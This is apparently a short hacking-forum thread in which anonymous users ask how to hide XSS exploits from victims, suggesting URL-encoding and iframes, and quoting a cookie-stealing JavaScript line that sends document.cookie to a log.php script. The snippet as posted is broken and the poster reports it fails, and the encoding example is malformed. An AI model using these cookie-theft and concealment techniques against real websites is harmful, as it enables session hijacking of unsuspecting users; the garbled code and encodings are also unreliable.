Welcome to HBH! If you had an account on hellboundhacker.org you will need to reset your password using the Lost Password system before you will be able to login.

Hidding XSS exploits


ghost's Avatar
0 0

So we all know that window.location is too obviously, so what is better option for hidding xss exploit?


ghost's Avatar
0 0

you can obfucate the text, turn it into %25%37%93 …. etc.


ghost's Avatar
0 0

Sure I know I can encode url. Somewhere I read about using iframes for xss. Do I create iframe on the same page where is xss and than create target frame or what??


ghost's Avatar
0 0

I found this one in hts forum, but don't work for me?

markupi=new image; i.src='log.php?c='+document.cookie

In javascript console I get image not defined error Anybody have idea what is wrong?